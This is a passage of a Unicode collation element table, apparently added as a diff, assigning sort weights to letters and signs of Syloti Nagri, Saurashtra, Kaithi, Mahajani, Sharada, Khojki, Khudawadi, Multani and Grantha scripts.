+A81B  ; [.2976.0020.0002] # SYLOTI NAGRI LETTER BO
+A81C  ; [.2977.0020.0002] # SYLOTI NAGRI LETTER BHO
+A81D  ; [.2978.0020.0002] # SYLOTI NAGRI LETTER MO
+A81E  ; [.2979.0020.0002] # SYLOTI NAGRI LETTER RO
+A81F  ; [.297A.0020.0002] # SYLOTI NAGRI LETTER LO
+A820  ; [.297B.0020.0002] # SYLOTI NAGRI LETTER RRO
+A821  ; [.297C.0020.0002] # SYLOTI NAGRI LETTER SO
+A822  ; [.297D.0020.0002] # SYLOTI NAGRI LETTER HO
+A823  ; [.297E.0020.0002] # SYLOTI NAGRI VOWEL SIGN A
+A824  ; [.297F.0020.0002] # SYLOTI NAGRI VOWEL SIGN I
+A825  ; [.2980.0020.0002] # SYLOTI NAGRI VOWEL SIGN U
+A826  ; [.2981.0020.0002] # SYLOTI NAGRI VOWEL SIGN E
+A827  ; [.2982.0020.0002] # SYLOTI NAGRI VOWEL SIGN OO
+A882  ; [.2983.0020.0002] # SAURASHTRA LETTER A
+A883  ; [.2984.0020.0002] # SAURASHTRA LETTER AA
+A884  ; [.2985.0020.0002] # SAURASHTRA LETTER I
+A885  ; [.2986.0020.0002] # SAURASHTRA LETTER II
+A886  ; [.2987.0020.0002] # SAURASHTRA LETTER U
+A887  ; [.2988.0020.0002] # SAURASHTRA LETTER UU
+A888  ; [.2989.0020.0002] # SAURASHTRA LETTER VOCALIC R
+A889  ; [.298A.0020.0002] # SAURASHTRA LETTER VOCALIC RR
+A88A  ; [.298B.0020.0002] # SAURASHTRA LETTER VOCALIC L
+A88B  ; [.298C.0020.0002] # SAURASHTRA LETTER VOCALIC LL
+A88C  ; [.298D.0020.0002] # SAURASHTRA LETTER E
+A88D  ; [.298E.0020.0002] # SAURASHTRA LETTER EE
+A88E  ; [.298F.0020.0002] # SAURASHTRA LETTER AI
+A88F  ; [.2990.0020.0002] # SAURASHTRA LETTER O
+A890  ; [.2991.0020.0002] # SAURASHTRA LETTER OO
+A891  ; [.2992.0020.0002] # SAURASHTRA LETTER AU
+A892  ; [.2993.0020.0002] # SAURASHTRA LETTER KA
+A893  ; [.2994.0020.0002] # SAURASHTRA LETTER KHA
+A894  ; [.2995.0020.0002] # SAURASHTRA LETTER GA
+A895  ; [.2996.0020.0002] # SAURASHTRA LETTER GHA
+A896  ; [.2997.0020.0002] # SAURASHTRA LETTER NGA
+A897  ; [.2998.0020.0002] # SAURASHTRA LETTER CA
+A898  ; [.2999.0020.0002] # SAURASHTRA LETTER CHA
+A899  ; [.299A.0020.0002] # SAURASHTRA LETTER JA
+A89A  ; [.299B.0020.0002] # SAURASHTRA LETTER JHA
+A89B  ; [.299C.0020.0002] # SAURASHTRA LETTER NYA
+A89C  ; [.299D.0020.0002] # SAURASHTRA LETTER TTA
+A89D  ; [.299E.0020.0002] # SAURASHTRA LETTER TTHA
+A89E  ; [.299F.0020.0002] # SAURASHTRA LETTER DDA
+A89F  ; [.29A0.0020.0002] # SAURASHTRA LETTER DDHA
+A8A0  ; [.29A1.0020.0002] # SAURASHTRA LETTER NNA
+A8A1  ; [.29A2.0020.0002] # SAURASHTRA LETTER TA
+A8A2  ; [.29A3.0020.0002] # SAURASHTRA LETTER THA
+A8A3  ; [.29A4.0020.0002] # SAURASHTRA LETTER DA
+A8A4  ; [.29A5.0020.0002] # SAURASHTRA LETTER DHA
+A8A5  ; [.29A6.0020.0002] # SAURASHTRA LETTER NA
+A8A6  ; [.29A7.0020.0002] # SAURASHTRA LETTER PA
+A8A7  ; [.29A8.0020.0002] # SAURASHTRA LETTER PHA
+A8A8  ; [.29A9.0020.0002] # SAURASHTRA LETTER BA
+A8A9  ; [.29AA.0020.0002] # SAURASHTRA LETTER BHA
+A8AA  ; [.29AB.0020.0002] # SAURASHTRA LETTER MA
+A8AB  ; [.29AC.0020.0002] # SAURASHTRA LETTER YA
+A8AC  ; [.29AD.0020.0002] # SAURASHTRA LETTER RA
+A8AD  ; [.29AE.0020.0002] # SAURASHTRA LETTER LA
+A8AE  ; [.29AF.0020.0002] # SAURASHTRA LETTER VA
+A8AF  ; [.29B0.0020.0002] # SAURASHTRA LETTER SHA
+A8B0  ; [.29B1.0020.0002] # SAURASHTRA LETTER SSA
+A8B1  ; [.29B2.0020.0002] # SAURASHTRA LETTER SA
+A8B2  ; [.29B3.0020.0002] # SAURASHTRA LETTER HA
+A8B3  ; [.29B4.0020.0002] # SAURASHTRA LETTER LLA
+A8B4  ; [.29B5.0020.0002] # SAURASHTRA CONSONANT SIGN HAARU
+A8B5  ; [.29B6.0020.0002] # SAURASHTRA VOWEL SIGN AA
+A8B6  ; [.29B7.0020.0002] # SAURASHTRA VOWEL SIGN I
+A8B7  ; [.29B8.0020.0002] # SAURASHTRA VOWEL SIGN II
+A8B8  ; [.29B9.0020.0002] # SAURASHTRA VOWEL SIGN U
+A8B9  ; [.29BA.0020.0002] # SAURASHTRA VOWEL SIGN UU
+A8BA  ; [.29BB.0020.0002] # SAURASHTRA VOWEL SIGN VOCALIC R
+A8BB  ; [.29BC.0020.0002] # SAURASHTRA VOWEL SIGN VOCALIC RR
+A8BC  ; [.29BD.0020.0002] # SAURASHTRA VOWEL SIGN VOCALIC L
+A8BD  ; [.29BE.0020.0002] # SAURASHTRA VOWEL SIGN VOCALIC LL
+A8BE  ; [.29BF.0020.0002] # SAURASHTRA VOWEL SIGN E
+A8BF  ; [.29C0.0020.0002] # SAURASHTRA VOWEL SIGN EE
+A8C0  ; [.29C1.0020.0002] # SAURASHTRA VOWEL SIGN AI
+A8C1  ; [.29C2.0020.0002] # SAURASHTRA VOWEL SIGN O
+A8C2  ; [.29C3.0020.0002] # SAURASHTRA VOWEL SIGN OO
+A8C3  ; [.29C4.0020.0002] # SAURASHTRA VOWEL SIGN AU
+A8C4  ; [.29C5.0020.0002] # SAURASHTRA SIGN VIRAMA
+11083 ; [.29C6.0020.0002] # KAITHI LETTER A
+11084 ; [.29C7.0020.0002] # KAITHI LETTER AA
+11085 ; [.29C8.0020.0002] # KAITHI LETTER I
+11086 ; [.29C9.0020.0002] # KAITHI LETTER II
+11087 ; [.29CA.0020.0002] # KAITHI LETTER U
+11088 ; [.29CB.0020.0002] # KAITHI LETTER UU
+11089 ; [.29CC.0020.0002] # KAITHI LETTER E
+1108A ; [.29CD.0020.0002] # KAITHI LETTER AI
+1108B ; [.29CE.0020.0002] # KAITHI LETTER O
+1108C ; [.29CF.0020.0002] # KAITHI LETTER AU
+1108D ; [.29D0.0020.0002] # KAITHI LETTER KA
+1108E ; [.29D1.0020.0002] # KAITHI LETTER KHA
+1108F ; [.29D2.0020.0002] # KAITHI LETTER GA
+11090 ; [.29D3.0020.0002] # KAITHI LETTER GHA
+11091 ; [.29D4.0020.0002] # KAITHI LETTER NGA
+11092 ; [.29D5.0020.0002] # KAITHI LETTER CA
+11093 ; [.29D6.0020.0002] # KAITHI LETTER CHA
+11094 ; [.29D7.0020.0002] # KAITHI LETTER JA
+11095 ; [.29D8.0020.0002] # KAITHI LETTER JHA
+11096 ; [.29D9.0020.0002] # KAITHI LETTER NYA
+11097 ; [.29DA.0020.0002] # KAITHI LETTER TTA
+11098 ; [.29DB.0020.0002] # KAITHI LETTER TTHA
+11099 ; [.29DC.0020.0002] # KAITHI LETTER DDA
+1109A ; [.29DC.0020.0002][.0000.00C2.0002] # KAITHI LETTER DDDHA
+1109B ; [.29DD.0020.0002] # KAITHI LETTER DDHA
+1109C ; [.29DD.0020.0002][.0000.00C2.0002] # KAITHI LETTER RHA
+1109D ; [.29DE.0020.0002] # KAITHI LETTER NNA
+1109E ; [.29DF.0020.0002] # KAITHI LETTER TA
+1109F ; [.29E0.0020.0002] # KAITHI LETTER THA
+110A0 ; [.29E1.0020.0002] # KAITHI LETTER DA
+110A1 ; [.29E2.0020.0002] # KAITHI LETTER DHA
+110A2 ; [.29E3.0020.0002] # KAITHI LETTER NA
+110A3 ; [.29E4.0020.0002] # KAITHI LETTER PA
+110A4 ; [.29E5.0020.0002] # KAITHI LETTER PHA
+110A5 ; [.29E6.0020.0002] # KAITHI LETTER BA
+110AB ; [.29E6.0020.0002][.0000.00C2.0002] # KAITHI LETTER VA
+110A6 ; [.29E7.0020.0002] # KAITHI LETTER BHA
+110A7 ; [.29E8.0020.0002] # KAITHI LETTER MA
+110A8 ; [.29E9.0020.0002] # KAITHI LETTER YA
+110A9 ; [.29EA.0020.0002] # KAITHI LETTER RA
+110AA ; [.29EB.0020.0002] # KAITHI LETTER LA
+110AC ; [.29EC.0020.0002] # KAITHI LETTER SHA
+110AD ; [.29ED.0020.0002] # KAITHI LETTER SSA
+110AE ; [.29EE.0020.0002] # KAITHI LETTER SA
+110AF ; [.29EF.0020.0002] # KAITHI LETTER HA
+110B0 ; [.29F0.0020.0002] # KAITHI VOWEL SIGN AA
+110B1 ; [.29F1.0020.0002] # KAITHI VOWEL SIGN I
+110B2 ; [.29F2.0020.0002] # KAITHI VOWEL SIGN II
+110B3 ; [.29F3.0020.0002] # KAITHI VOWEL SIGN U
+110B4 ; [.29F4.0020.0002] # KAITHI VOWEL SIGN UU
+110B5 ; [.29F5.0020.0002] # KAITHI VOWEL SIGN E
+110B6 ; [.29F6.0020.0002] # KAITHI VOWEL SIGN AI
+110B7 ; [.29F7.0020.0002] # KAITHI VOWEL SIGN O
+110B8 ; [.29F8.0020.0002] # KAITHI VOWEL SIGN AU
+110B9 ; [.29F9.0020.0002] # KAITHI SIGN VIRAMA
+11150 ; [.29FA.0020.0002] # MAHAJANI LETTER A
+11151 ; [.29FB.0020.0002] # MAHAJANI LETTER I
+11152 ; [.29FC.0020.0002] # MAHAJANI LETTER U
+11153 ; [.29FD.0020.0002] # MAHAJANI LETTER E
+11154 ; [.29FE.0020.0002] # MAHAJANI LETTER O
+11155 ; [.29FF.0020.0002] # MAHAJANI LETTER KA
+11156 ; [.2A00.0020.0002] # MAHAJANI LETTER KHA
+11157 ; [.2A01.0020.0002] # MAHAJANI LETTER GA
+11158 ; [.2A02.0020.0002] # MAHAJANI LETTER GHA
+11159 ; [.2A03.0020.0002] # MAHAJANI LETTER CA
+1115A ; [.2A04.0020.0002] # MAHAJANI LETTER CHA
+1115B ; [.2A05.0020.0002] # MAHAJANI LETTER JA
+1115C ; [.2A06.0020.0002] # MAHAJANI LETTER JHA
+1115D ; [.2A07.0020.0002] # MAHAJANI LETTER NYA
+1115E ; [.2A08.0020.0002] # MAHAJANI LETTER TTA
+1115F ; [.2A09.0020.0002] # MAHAJANI LETTER TTHA
+11160 ; [.2A0A.0020.0002] # MAHAJANI LETTER DDA
+11161 ; [.2A0B.0020.0002] # MAHAJANI LETTER DDHA
+11162 ; [.2A0C.0020.0002] # MAHAJANI LETTER NNA
+11163 ; [.2A0D.0020.0002] # MAHAJANI LETTER TA
+11164 ; [.2A0E.0020.0002] # MAHAJANI LETTER THA
+11165 ; [.2A0F.0020.0002] # MAHAJANI LETTER DA
+11166 ; [.2A10.0020.0002] # MAHAJANI LETTER DHA
+11167 ; [.2A11.0020.0002] # MAHAJANI LETTER NA
+11168 ; [.2A12.0020.0002] # MAHAJANI LETTER PA
+11169 ; [.2A13.0020.0002] # MAHAJANI LETTER PHA
+1116A ; [.2A14.0020.0002] # MAHAJANI LETTER BA
+1116B ; [.2A15.0020.0002] # MAHAJANI LETTER BHA
+1116C ; [.2A16.0020.0002] # MAHAJANI LETTER MA
+1116D ; [.2A17.0020.0002] # MAHAJANI LETTER RA
+1116E ; [.2A18.0020.0002] # MAHAJANI LETTER LA
+1116F ; [.2A19.0020.0002] # MAHAJANI LETTER VA
+11176 ; [.2A1A.0020.0002] # MAHAJANI LIGATURE SHRI
+11170 ; [.2A1B.0020.0002] # MAHAJANI LETTER SA
+11171 ; [.2A1C.0020.0002] # MAHAJANI LETTER HA
+11172 ; [.2A1D.0020.0002] # MAHAJANI LETTER RRA
+111C4 ; [.2A1E.0020.0002] # SHARADA OM
+111DA ; [.2A1F.0020.0002] # SHARADA EKAM
+11183 ; [.2A20.0020.0002] # SHARADA LETTER A
+11184 ; [.2A21.0020.0002] # SHARADA LETTER AA
+11185 ; [.2A22.0020.0002] # SHARADA LETTER I
+11186 ; [.2A23.0020.0002] # SHARADA LETTER II
+11187 ; [.2A24.0020.0002] # SHARADA LETTER U
+11188 ; [.2A25.0020.0002] # SHARADA LETTER UU
+11189 ; [.2A26.0020.0002] # SHARADA LETTER VOCALIC R
+1118A ; [.2A27.0020.0002] # SHARADA LETTER VOCALIC RR
+1118B ; [.2A28.0020.0002] # SHARADA LETTER VOCALIC L
+1118C ; [.2A29.0020.0002] # SHARADA LETTER VOCALIC LL
+1118D ; [.2A2A.0020.0002] # SHARADA LETTER E
+1118E ; [.2A2B.0020.0002] # SHARADA LETTER AI
+1118F ; [.2A2C.0020.0002] # SHARADA LETTER O
+11190 ; [.2A2D.0020.0002] # SHARADA LETTER AU
+11191 ; [.2A2E.0020.0002] # SHARADA LETTER KA
+11192 ; [.2A2F.0020.0002] # SHARADA LETTER KHA
+11193 ; [.2A30.0020.0002] # SHARADA LETTER GA
+11194 ; [.2A31.0020.0002] # SHARADA LETTER GHA
+11195 ; [.2A32.0020.0002] # SHARADA LETTER NGA
+11196 ; [.2A33.0020.0002] # SHARADA LETTER CA
+11197 ; [.2A34.0020.0002] # SHARADA LETTER CHA
+11198 ; [.2A35.0020.0002] # SHARADA LETTER JA
+11199 ; [.2A36.0020.0002] # SHARADA LETTER JHA
+1119A ; [.2A37.0020.0002] # SHARADA LETTER NYA
+1119B ; [.2A38.0020.0002] # SHARADA LETTER TTA
+1119C ; [.2A39.0020.0002] # SHARADA LETTER TTHA
+1119D ; [.2A3A.0020.0002] # SHARADA LETTER DDA
+1119E ; [.2A3B.0020.0002] # SHARADA LETTER DDHA
+1119F ; [.2A3C.0020.0002] # SHARADA LETTER NNA
+111A0 ; [.2A3D.0020.0002] # SHARADA LETTER TA
+111A1 ; [.2A3E.0020.0002] # SHARADA LETTER THA
+111A2 ; [.2A3F.0020.0002] # SHARADA LETTER DA
+111A3 ; [.2A40.0020.0002] # SHARADA LETTER DHA
+111A4 ; [.2A41.0020.0002] # SHARADA LETTER NA
+111A5 ; [.2A42.0020.0002] # SHARADA LETTER PA
+111A6 ; [.2A43.0020.0002] # SHARADA LETTER PHA
+111A7 ; [.2A44.0020.0002] # SHARADA LETTER BA
+111A8 ; [.2A45.0020.0002] # SHARADA LETTER BHA
+111A9 ; [.2A46.0020.0002] # SHARADA LETTER MA
+111AA ; [.2A47.0020.0002] # SHARADA LETTER YA
+111AB ; [.2A48.0020.0002] # SHARADA LETTER RA
+111AC ; [.2A49.0020.0002] # SHARADA LETTER LA
+111AD ; [.2A4A.0020.0002] # SHARADA LETTER LLA
+111AE ; [.2A4B.0020.0002] # SHARADA LETTER VA
+111AF ; [.2A4C.0020.0002] # SHARADA LETTER SHA
+111B0 ; [.2A4D.0020.0002] # SHARADA LETTER SSA
+111B1 ; [.2A4E.0020.0002] # SHARADA LETTER SA
+111B2 ; [.2A4F.0020.0002] # SHARADA LETTER HA
+111C1 ; [.2A50.0020.0002] # SHARADA SIGN AVAGRAHA
+111C2 ; [.2A51.0020.0002] # SHARADA SIGN JIHVAMULIYA
+111C3 ; [.2A52.0020.0002] # SHARADA SIGN UPADHMANIYA
+111DC ; [.2A53.0020.0002] # SHARADA HEADSTROKE
+111B3 ; [.2A54.0020.0002] # SHARADA VOWEL SIGN AA
+111B4 ; [.2A55.0020.0002] # SHARADA VOWEL SIGN I
+111B5 ; [.2A56.0020.0002] # SHARADA VOWEL SIGN II
+111B6 ; [.2A57.0020.0002] # SHARADA VOWEL SIGN U
+111B7 ; [.2A58.0020.0002] # SHARADA VOWEL SIGN UU
+111B8 ; [.2A59.0020.0002] # SHARADA VOWEL SIGN VOCALIC R
+111B9 ; [.2A5A.0020.0002] # SHARADA VOWEL SIGN VOCALIC RR
+111BA ; [.2A5B.0020.0002] # SHARADA VOWEL SIGN VOCALIC L
+111BB ; [.2A5C.0020.0002] # SHARADA VOWEL SIGN VOCALIC LL
+111BC ; [.2A5D.0020.0002] # SHARADA VOWEL SIGN E
+111BD ; [.2A5E.0020.0002] # SHARADA VOWEL SIGN AI
+111BE ; [.2A5F.0020.0002] # SHARADA VOWEL SIGN O
+111BF ; [.2A60.0020.0002] # SHARADA VOWEL SIGN AU
+111C0 ; [.2A61.0020.0002] # SHARADA SIGN VIRAMA
+11200 ; [.2A62.0020.0002] # KHOJKI LETTER A
+11201 ; [.2A63.0020.0002] # KHOJKI LETTER AA
+11202 ; [.2A64.0020.0002] # KHOJKI LETTER I
+11203 ; [.2A65.0020.0002] # KHOJKI LETTER U
+11204 ; [.2A66.0020.0002] # KHOJKI LETTER E
+11205 ; [.2A67.0020.0002] # KHOJKI LETTER AI
+11206 ; [.2A68.0020.0002] # KHOJKI LETTER O
+11207 ; [.2A69.0020.0002] # KHOJKI LETTER AU
+11208 ; [.2A6A.0020.0002] # KHOJKI LETTER KA
+11209 ; [.2A6B.0020.0002] # KHOJKI LETTER KHA
+1120A ; [.2A6C.0020.0002] # KHOJKI LETTER GA
+1120B ; [.2A6D.0020.0002] # KHOJKI LETTER GGA
+1120C ; [.2A6E.0020.0002] # KHOJKI LETTER GHA
+1120D ; [.2A6F.0020.0002] # KHOJKI LETTER NGA
+1120E ; [.2A70.0020.0002] # KHOJKI LETTER CA
+1120F ; [.2A71.0020.0002] # KHOJKI LETTER CHA
+11210 ; [.2A72.0020.0002] # KHOJKI LETTER JA
+11211 ; [.2A73.0020.0002] # KHOJKI LETTER JJA
+11213 ; [.2A74.0020.0002] # KHOJKI LETTER NYA
+11214 ; [.2A75.0020.0002] # KHOJKI LETTER TTA
+11215 ; [.2A76.0020.0002] # KHOJKI LETTER TTHA
+11216 ; [.2A77.0020.0002] # KHOJKI LETTER DDA
+11217 ; [.2A78.0020.0002] # KHOJKI LETTER DDHA
+11218 ; [.2A79.0020.0002] # KHOJKI LETTER NNA
+11219 ; [.2A7A.0020.0002] # KHOJKI LETTER TA
+1121A ; [.2A7B.0020.0002] # KHOJKI LETTER THA
+1121B ; [.2A7C.0020.0002] # KHOJKI LETTER DA
+1121C ; [.2A7D.0020.0002] # KHOJKI LETTER DDDA
+1121D ; [.2A7E.0020.0002] # KHOJKI LETTER DHA
+1121E ; [.2A7F.0020.0002] # KHOJKI LETTER NA
+1121F ; [.2A80.0020.0002] # KHOJKI LETTER PA
+11220 ; [.2A81.0020.0002] # KHOJKI LETTER PHA
+11221 ; [.2A82.0020.0002] # KHOJKI LETTER BA
+11222 ; [.2A83.0020.0002] # KHOJKI LETTER BBA
+11223 ; [.2A84.0020.0002] # KHOJKI LETTER BHA
+11224 ; [.2A85.0020.0002] # KHOJKI LETTER MA
+11225 ; [.2A86.0020.0002] # KHOJKI LETTER YA
+11226 ; [.2A87.0020.0002] # KHOJKI LETTER RA
+11227 ; [.2A88.0020.0002] # KHOJKI LETTER LA
+11228 ; [.2A89.0020.0002] # KHOJKI LETTER VA
+11229 ; [.2A8A.0020.0002] # KHOJKI LETTER SA
+1122A ; [.2A8B.0020.0002] # KHOJKI LETTER HA
+1122B ; [.2A8C.0020.0002] # KHOJKI LETTER LLA
+1122C ; [.2A8D.0020.0002] # KHOJKI VOWEL SIGN AA
+1122D ; [.2A8E.0020.0002] # KHOJKI VOWEL SIGN I
+1122E ; [.2A8F.0020.0002] # KHOJKI VOWEL SIGN II
+1122F ; [.2A90.0020.0002] # KHOJKI VOWEL SIGN U
+11230 ; [.2A91.0020.0002] # KHOJKI VOWEL SIGN E
+11231 ; [.2A92.0020.0002] # KHOJKI VOWEL SIGN AI
+11232 ; [.2A93.0020.0002] # KHOJKI VOWEL SIGN O
+11233 ; [.2A94.0020.0002] # KHOJKI VOWEL SIGN AU
+11235 ; [.2A95.0020.0002] # KHOJKI SIGN VIRAMA
+112B0 ; [.2A96.0020.0002] # KHUDAWADI LETTER A
+112B1 ; [.2A97.0020.0002] # KHUDAWADI LETTER AA
+112B2 ; [.2A98.0020.0002] # KHUDAWADI LETTER I
+112B3 ; [.2A99.0020.0002] # KHUDAWADI LETTER II
+112B4 ; [.2A9A.0020.0002] # KHUDAWADI LETTER U
+112B5 ; [.2A9B.0020.0002] # KHUDAWADI LETTER UU
+112B6 ; [.2A9C.0020.0002] # KHUDAWADI LETTER E
+112B7 ; [.2A9D.0020.0002] # KHUDAWADI LETTER AI
+112B8 ; [.2A9E.0020.0002] # KHUDAWADI LETTER O
+112B9 ; [.2A9F.0020.0002] # KHUDAWADI LETTER AU
+112BA ; [.2AA0.0020.0002] # KHUDAWADI LETTER KA
+112BB ; [.2AA1.0020.0002] # KHUDAWADI LETTER KHA
+112BC ; [.2AA2.0020.0002] # KHUDAWADI LETTER GA
+112BD ; [.2AA3.0020.0002] # KHUDAWADI LETTER GGA
+112BE ; [.2AA4.0020.0002] # KHUDAWADI LETTER GHA
+112BF ; [.2AA5.0020.0002] # KHUDAWADI LETTER NGA
+112C0 ; [.2AA6.0020.0002] # KHUDAWADI LETTER CA
+112C1 ; [.2AA7.0020.0002] # KHUDAWADI LETTER CHA
+112C2 ; [.2AA8.0020.0002] # KHUDAWADI LETTER JA
+112C3 ; [.2AA9.0020.0002] # KHUDAWADI LETTER JJA
+112C4 ; [.2AAA.0020.0002] # KHUDAWADI LETTER JHA
+112C5 ; [.2AAB.0020.0002] # KHUDAWADI LETTER NYA
+112C6 ; [.2AAC.0020.0002] # KHUDAWADI LETTER TTA
+112C7 ; [.2AAD.0020.0002] # KHUDAWADI LETTER TTHA
+112C8 ; [.2AAE.0020.0002] # KHUDAWADI LETTER DDA
+112C9 ; [.2AAF.0020.0002] # KHUDAWADI LETTER DDDA
+112CA ; [.2AB0.0020.0002] # KHUDAWADI LETTER RRA
+112CB ; [.2AB1.0020.0002] # KHUDAWADI LETTER DDHA
+112CC ; [.2AB2.0020.0002] # KHUDAWADI LETTER NNA
+112CD ; [.2AB3.0020.0002] # KHUDAWADI LETTER TA
+112CE ; [.2AB4.0020.0002] # KHUDAWADI LETTER THA
+112CF ; [.2AB5.0020.0002] # KHUDAWADI LETTER DA
+112D0 ; [.2AB6.0020.0002] # KHUDAWADI LETTER DHA
+112D1 ; [.2AB7.0020.0002] # KHUDAWADI LETTER NA
+112D2 ; [.2AB8.0020.0002] # KHUDAWADI LETTER PA
+112D3 ; [.2AB9.0020.0002] # KHUDAWADI LETTER PHA
+112D4 ; [.2ABA.0020.0002] # KHUDAWADI LETTER BA
+112D5 ; [.2ABB.0020.0002] # KHUDAWADI LETTER BBA
+112D6 ; [.2ABC.0020.0002] # KHUDAWADI LETTER BHA
+112D7 ; [.2ABD.0020.0002] # KHUDAWADI LETTER MA
+112D8 ; [.2ABE.0020.0002] # KHUDAWADI LETTER YA
+112D9 ; [.2ABF.0020.0002] # KHUDAWADI LETTER RA
+112DA ; [.2AC0.0020.0002] # KHUDAWADI LETTER LA
+112DB ; [.2AC1.0020.0002] # KHUDAWADI LETTER VA
+112DC ; [.2AC2.0020.0002] # KHUDAWADI LETTER SHA
+112DD ; [.2AC3.0020.0002] # KHUDAWADI LETTER SA
+112DE ; [.2AC4.0020.0002] # KHUDAWADI LETTER HA
+112E0 ; [.2AC5.0020.0002] # KHUDAWADI VOWEL SIGN AA
+112E1 ; [.2AC6.0020.0002] # KHUDAWADI VOWEL SIGN I
+112E2 ; [.2AC7.0020.0002] # KHUDAWADI VOWEL SIGN II
+112E3 ; [.2AC8.0020.0002] # KHUDAWADI VOWEL SIGN U
+112E4 ; [.2AC9.0020.0002] # KHUDAWADI VOWEL SIGN UU
+112E5 ; [.2ACA.0020.0002] # KHUDAWADI VOWEL SIGN E
+112E6 ; [.2ACB.0020.0002] # KHUDAWADI VOWEL SIGN AI
+112E7 ; [.2ACC.0020.0002] # KHUDAWADI VOWEL SIGN O
+112E8 ; [.2ACD.0020.0002] # KHUDAWADI VOWEL SIGN AU
+112EA ; [.2ACE.0020.0002] # KHUDAWADI SIGN VIRAMA
+11280 ; [.2ACF.0020.0002] # MULTANI LETTER A
+11281 ; [.2AD0.0020.0002] # MULTANI LETTER I
+11282 ; [.2AD1.0020.0002] # MULTANI LETTER U
+11283 ; [.2AD2.0020.0002] # MULTANI LETTER E
+112A5 ; [.2AD3.0020.0002] # MULTANI LETTER SA
+112A6 ; [.2AD4.0020.0002] # MULTANI LETTER HA
+11284 ; [.2AD5.0020.0002] # MULTANI LETTER KA
+11285 ; [.2AD6.0020.0002] # MULTANI LETTER KHA
+11286 ; [.2AD7.0020.0002] # MULTANI LETTER GA
+11288 ; [.2AD8.0020.0002] # MULTANI LETTER GHA
+1128A ; [.2AD9.0020.0002] # MULTANI LETTER CA
+1128B ; [.2ADA.0020.0002] # MULTANI LETTER CHA
+1128C ; [.2ADB.0020.0002] # MULTANI LETTER JA
+1128D ; [.2ADC.0020.0002] # MULTANI LETTER JJA
+1128F ; [.2ADD.0020.0002] # MULTANI LETTER NYA
+11290 ; [.2ADE.0020.0002] # MULTANI LETTER TTA
+11291 ; [.2ADF.0020.0002] # MULTANI LETTER TTHA
+11292 ; [.2AE0.0020.0002] # MULTANI LETTER DDA
+11293 ; [.2AE1.0020.0002] # MULTANI LETTER DDDA
+11294 ; [.2AE2.0020.0002] # MULTANI LETTER DDHA
+11295 ; [.2AE3.0020.0002] # MULTANI LETTER NNA
+11296 ; [.2AE4.0020.0002] # MULTANI LETTER TA
+11297 ; [.2AE5.0020.0002] # MULTANI LETTER THA
+11298 ; [.2AE6.0020.0002] # MULTANI LETTER DA
+11299 ; [.2AE7.0020.0002] # MULTANI LETTER DHA
+1129A ; [.2AE8.0020.0002] # MULTANI LETTER NA
+1129B ; [.2AE9.0020.0002] # MULTANI LETTER PA
+1129C ; [.2AEA.0020.0002] # MULTANI LETTER PHA
+1129D ; [.2AEB.0020.0002] # MULTANI LETTER BA
+1129F ; [.2AEC.0020.0002] # MULTANI LETTER BHA
+112A0 ; [.2AED.0020.0002] # MULTANI LETTER MA
+112A1 ; [.2AEE.0020.0002] # MULTANI LETTER YA
+112A2 ; [.2AEF.0020.0002] # MULTANI LETTER RA
+112A3 ; [.2AF0.0020.0002] # MULTANI LETTER LA
+112A4 ; [.2AF1.0020.0002] # MULTANI LETTER VA
+112A7 ; [.2AF2.0020.0002] # MULTANI LETTER RRA
+112A8 ; [.2AF3.0020.0002] # MULTANI LETTER RHA
+11350 ; [.2AF4.0020.0002] # GRANTHA OM
+11305 ; [.2AF5.0020.0002] # GRANTHA LETTER A
+11306 ; [.2AF6.0020.0002] # GRANTHA LETTER AA
+11307 ; [.2AF7.0020.0002] # GRANTHA LETTER I
+11308 ; [.2AF8.0020.0002] # GRANTHA LETTER II
+11309 ; [.2AF9.0020.0002] # GRANTHA LETTER U
+1130A ; [.2AFA.0020.0002] # GRANTHA LETTER UU
+1130B ; [.2AFB.0020.0002] # GRANTHA LETTER VOCALIC R
+11360 ; [.2AFC.0020.0002] # GRANTHA LETTER VOCALIC RR
+1130C ; [.2AFD.0020.0002] # GRANTHA LETTER VOCALIC L
+11361 ; [.2AFE.0020.0002] # GRANTHA LETTER VOCALIC LL
+1130F ; [.2AFF.0020.0002] # GRANTHA LETTER EE
+11310 ; [.2B00.0020.0002] # GRANTHA LETTER AI
+11313 ; [.2B01.0020.0002] # GRANTHA LETTER OO
+11314 ; [.2B02.0020.0002] # GRANTHA LETTER AU
+11315 ; [.2B03.0020.0002] # GRANTHA LETTER KA
+11316 ; [.2B04.0020.0002] # GRANTHA LETTER KHA
+11317 ; [.2B05.0020.0002] # GRANTHA LETTER GA
+11318 ; [.2B06.0020.0002] # GRANTHA LETTER GHA
+11319 ; [.2B07.0020.0002] # GRANTHA LETTER NGA
+1131A ; [.2B08.0020.0002] # GRANTHA LETTER CA
+1131B ; [.2B09.0020.0002] # GRANTHA LETTER CHA
+1131C ; [.2B0A.0020.0002] # GRANTHA LETTER JA
+1131D ; [.2B0B.0020.0002] # GRANTHA LETTER JHA
+1131E ; [.2B0C.0020.0002] # GRANTHA LETTER NYA
+1131F ; [.2B0D.0020.0002] # GRANTHA LETTER TTA
+11320 ; [.2B0E.0020.0002] # GRANTHA LETTER TTHA
+11321 ; [.2B0F.0020.0002] # GRANTHA LETTER DDA
+11322 ; [.2B10.0020.0002] # GRANTHA LETTER DDHA
+11323 ; [.2B11.0020.0002] # GRANTHA LETTER NNA
+11324 ; [.2B12.0020.0002] # GRANTHA LETTER TA
+11325 ; [.2B13.0020.0002] # GRANTHA LETTER THA
+11326 ; [.2B14.0020.0002] # GRANTHA LETTER DA
+11327 ; [.2B15.0020.0002] # GRANTHA LETTER DHA
+11328 ; [.2B16.0020.0002] # GRANTHA LETTER NA
+1132A ; [.2B17.0020.0002] # GRANTHA LETTER PA
+1132B ; [.2B18.0020.0002] # GRANTHA LETTER PHA
+1132C ; [.2B19.0020.0002] # GRANTHA LETTER BA
+1132D ; [.2B1A.0020.0002] # GRANTHA LETTER BHA
+1132E ; [.2B1B.0020.0002] # GRANTHA LETTER MA
+1132F ; [.2B1C.0020.0002] # GRANTHA LETTER YA
+11330 ; [.2B1D.0020.0002] # GRANTHA LETTER RA
+11332 ; [.2B1E.0020.0002] # GRANTHA LETTER LA
+11333 ; [.2B1F.0020.0002] # GRANTHA LETTER LLA
+11335 ; [.2B20.0020.0002] # GRANTHA LETTER VA
+11336 ; [.2B21.0020.0002] # GRANTHA LETTER SHA
+11337 ; [.2B22.0020.0002] # GRANTHA LETTER SSA
+11338 ; [.2B23.0020.0002] # GRANTHA LETTER SA
+11339 ; [.2B24.0020.0002] # GRANTHA LETTER HA
+1133D ; [.2B25.0020.0002] # GRANTHA SIGN AVAGRAHA
